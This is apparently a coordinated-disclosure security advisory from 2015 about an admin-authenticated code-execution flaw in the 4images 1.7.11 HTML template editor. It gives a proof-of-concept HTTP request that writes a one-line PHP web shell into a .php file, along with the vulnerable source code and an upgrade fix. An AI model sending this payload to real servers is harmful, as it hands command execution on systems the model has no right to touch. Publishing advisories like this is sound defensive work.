4images 1.7.11: Code Execution
Date: 2015-12-02 16:20:311. Introduction
| Affected Product: | 4images 1.7.11 |
| Fixed in: | 1.7.12 |
| Fixed Version Link: | http://www.4homepages.de/download-4images |
| Vendor Website: | http://www.4homepages.de/ |
| Vulnerability Type: | Code Execution |
| Remote Exploitable: | Yes |
| Reported to vendor: | 09/29/2015 |
| Disclosed to public: | 11/04/2015 |
| Release mode: | Coordinated release |
| CVE: | Requested, but not assigned |
| Credits | Tim Coen of Curesec GmbH |
2. Vulnerability Description
CVSS
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
4images comes with a HTML Template editor which allows the editing of HTML files. But it will also create a new file if the passed file name does not already exist. When doing this, it does not check that the extension of the passed file is .html.
Admin credentials are required to use the HTML template editor.
3. Proof of Concept
POST /4images/admin/templates.php HTTP/1.1
__csrf=28a9a05b480c3f8ed326523b1ce7532c&action=savetemplate&content=<?php passthru($_GET['x']);&template_file_name=categories.php&template_folder=default
4. Code
/admin/templates.php
if (isset($HTTP_GET_VARS['template_file_name']) || isset($HTTP_POST_VARS['template_file_name'])) {
$template_file_name = (isset($HTTP_GET_VARS['template_file_name'])) ? trim($HTTP_GET_VARS['template_file_name']) : trim($HTTP_POST_VARS['template_file_name']);
$template_file_name = (strpos($template_file_name, 'media/') !== false ? 'media/' : '') . basename($template_file_name);
}
else {
$template_file_name = "";
}
if ($action == "savetemplate") {
if (isset($HTTP_POST_VARS['content'])) {
$content = trim($HTTP_POST_VARS['content']);
}
else {
$content = "";
}
if ($template_file_name != "" && $content != "") {
$content = un_htmlspecialchars($content);
$content = stripslashes($content);
$fp = @fopen(ROOT_PATH.TEMPLATE_DIR."/".$template_folder."/".$template_file_name, "w+");
if (@fwrite($fp, $content)) {
$msg = $lang['template_edit_success'];
}
else {
$msg = sprintf("<span class=\"marktext\">%s</span>", $lang['template_edit_error']);
}
}
$action = "modifytemplates";
}
5. Solution
To mitigate this issue please upgrade at least to version 1.7.12:
http://www.4homepages.de/download-4images
Please note that a newer version might already be available.
6. Report Timeline
| 09/29/2015 | Informed Vendor about Issue |
| 10/21/2015 | Reminded Vendor of Disclosure Date |
| 11/03/2015 | Vendor releases fix |
| 11/17/2015 | CVE Requested (no reply) |
| 12/02/2015 | Disclosed to public |